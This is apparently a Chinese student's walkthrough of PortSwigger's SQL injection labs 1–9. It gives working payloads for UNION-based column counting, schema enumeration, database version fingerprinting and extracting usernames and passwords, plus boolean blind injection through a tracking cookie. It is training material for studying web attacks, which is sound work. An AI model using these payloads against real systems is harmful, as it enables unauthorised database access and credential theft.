PortSwigger是著名神器 BurpSuite 的官方网站,也是一个非常好的漏洞训练平台。
同时也是我们这些新生入队的第一份 SQL 作业
下文的编号均依照 SQLi 内的顺序。
Lab-1
在开始之前,先讲讲联合查询的原理,UNION 操作符能够合并两个或多个 SELECT 语句的结果,而且 UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名,因此后端能正确的处理查询到的信息。
Lab-1 旨在让我们初步了解联合注入攻击,题目已经告诉我们在 filter?category=
中存在注入漏洞,要求我们得知查询返回的列数。
通过测试,得知是字符查询,可以通过单引号加注释来闭合。
官方给的题解是通过依次向 SELECT 后加空类型数量是否报错来判断列数,第一个不报错的查询中的空类型数量即为列数。
payload:'+UNION+SELECT+NULL,NULL,NULL+--+
但这个方法较为繁琐,可以利用 ORDER BY
来判断列数。
ORDER BY
用于按照列进行对结果集进行排序,因此如果使用的列数大于返回的列数查询就会失败。
payload:'+ORDER+BY+3+--+
至此,我们成功解决了 Lab-1 的问题。
P.S. 通过观察正常的回显猜测每列的数据功能,也能猜测出返回的列数。
Lab-2
进入环境后先看最上面的题目要求,题目要求我们检索到一个特定的字符串,这里我的字符串是 HZY60Y
。
首先我们知道数据库表中的每个列都要求有名称和数据类型,而我们希望检索到的信息一般为字符串,因此,确定返回值哪一列是字符串类型就至关重要。
这里我们就只能用 SELECT 一个一个试了,最后试出来第二列是字符串类型。
payload:'+UNION+SELECT+NULL,'HZY60Y',NULL+--+
P.S. 经测试,第一列和第三列是数字类型,第一列代表商品 id,第三列代表商品价格。
Lab-3
题目要求我们获得别的数据表中的内容,并以管理员身份登录。
我们先通过之前 Lab-1 和 Lab-2 的方法来得知返回两列数据,并且都是字符串类型。
由于事先告诉了我们列名和表名,所以直接查询即可。
构造 payload:'+UNION+SELECT+username,password+FROM+users+--+
成功获得账号密码,登录即可。
P.S. 在实战中列名和表名不可能直接告诉我们,需要通过别的手段来查询。
查询表名:SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE()
查询列名:SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'
查询数据类型:
SELECT COLUMN_NAME,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'
但是第 3 种方法我在 Lab-2 时失败了,希望能有大佬评论解释一下 QAQ。
Lab-4
类似于 Lab-3,但这次返回的列中只有一列是字符串类型了,因此我们需要把 username 和 password 连接起来。
不完全统计,SQL 中常用的字符串拼接方法有:
1 | Oracle:'foo'||'bar' 或是 CONCAT('foo','bar') |
payload:'+UNION+SELECT+NULL,CONCAT(username,'+:+',password)+FROM+users+--+
官方给的题解是用 ||
连接的。
payload:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
Lab-5
不同的数据库软件,不同的软件版本有不同的语法和注入方式,所以判断数据库类型和版本十分重要。
像 Oracle 的数据库,查询时必须提供表名,但是我们又不知道有哪些表,这时候我们就可以用到 dual 表了。
dual 是 Oracle 中的一个实际存在的表,任何用户均可读取,常用在没有目标表的 SELECT 语句块中。
所以我们可以用 payload:'+UNION+SELECT+NULL,NULL+FROM+dual+--+
来判断返回的列数。
其实和前面一样,看页面就能猜到是两列了
用 Lab-2 中的方法就能知道两列都是字符串。
SQL 中常用的查询数据库版本的方法有:
1 | Oracle:SELECT banner FROM v$version 或是 SELECT version FROM v$instance |
于是有 payload:'+UNION+SELECT+NULL,banner+FROM+v$version+--+
P.S. 虽然题目让你输出 banner,但事实上只输出版本号也算你通过了,payload:'+UNION+SELECT+NULL,version+FROM+v$instance+--+
Lab-6
用 Lab-1 和 Lab-2 中的方法可知,返回的是两列字符串。
用 Lab-5 中的方法,可构造 payload:'+UNION+SELECT+NULL,@@version+--+
Lab-7
同样的,利用 Lab-1 和 Lab-2 中的方法可知,返回的是两列字符串。
使用 Lab-3 中提到的查询表名的方法,我们构造 payload:'+UNION+SELECT+NULL,TABLE_NAME+FROM+information_schema.tables+--+
来获得所有表名。
查询 users,以我为例,有一个表名叫 users_hrculq
,
再用 Lab-3 中的提到的查询列名的方法构造 payload:'+UNION+SELECT+NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='users_hrculq'+--+
得到列名分别为 username_thhhye
和 password_rrnflm
。
再用 Lab-3 中的方法构造 payload:'+UNION+SELECT+username_thhhye,password_rrnflm+FROM+users_hrculq+--+
即可得到账号密码。
Lab-8
用 Lab-5 中的方法就能知道有两列且都是字符串。
构造 payload:'+UNION+SELECT+NULL,table_name+FROM+all_tables+--+
与 Lab-7 类似的,以我为例,存在一个名为 USERS_BPUSXY
的表。
构造 payload:'+UNION+SELECT+NULL,column_name+FROM+all_tab_columns+WHERE+TABLE_NAME='USERS_BPUSXY'+--+
得到列名分别为 USERNAME_RXOWXX
和 PASSWORD_BPQNLT
。
再用 Lab-3 中的方法构造 payload:'+UNION+SELECT+USERNAME_RXOWXX,PASSWORD_BPQNLT+FROM+USERS_BPUSXY+--+
即可得到账号密码。
Lab-9
进入了全新的知识点,有点难度。
在布尔盲注情形下,服务器只会对你的数据返回 2 种可能的情况。
在这里就是右上角的 “Welcome back!”。用 BurpSuite 抓包后发现带了 cookie:
Cookie: TrackingId=WOIVqvYbhS4OsGi6; session=ixZOZ9IdT4dL7AozrFuSDJicKD355nD8
不过 document.cookie 是空的,希望能知道实现原理,是后端对每个会话都存了一个 TrackingId 吗?
推测后端实现类似 SELECT * FROM TrackingIds WHERE TrackingId = '$Cookie.TrackingId'
我们可以尝试在 TrackingId 后面添加一些条件,以我当前状态为例,修改 Cookie 为 TrackingId=WOIVqvYbhS4OsGi6' AND '1'='1
这时候查询语句就会闭合为 SELECT * FROM TrackingIds WHERE TrackingId = 'WOIVqvYbhS4OsGi6' AND '1'='1'
自然是正确返回 “Welcome back!”,再修改条件为 '1'='2
,发现回显消失了,判断存在布尔盲注。
测试一些常见的字符串函数:
测试子串:' AND SUBSTRING('abc',1,1)='a
如果这个不成功,试试 ' AND SUBSTR('abc',1,1)='a
测试字符串长度:' AND LENGTH('abc')=3 AND '1'='1
测试通过后我们就可以正式开始了。
尝试寻找常见的表,比如 users、flag 这种。
构造 payload:' AND (SELECT 'a' FROM users LIMIT 1)='a
,LIMIT 1
来保证返回的必定是 ‘a’,发现存在 users 表。
由于题目告诉我们用户账号是 administrator,所以构造 payload:' AND (SELECT 'a' FROM users WHERE username='administrator' LIMIT 1)='a
得知在 users 表中存在名为 username 的列。
再构造 payload:' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
得知密码长度大于 1,以此类推,最后知道密码长度为 20。
再利用 SUBSTRING 函数截取每一位来判断密码。
过程太折磨了,都是类似 ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
这种。
使用了 python 脚本:
1 | import requests, string, sys, warnings |
P.S. 实战中不可能直接把表名和库名告诉你,需要撞库。可以写 python 脚本,或是利用 BurpIntruder。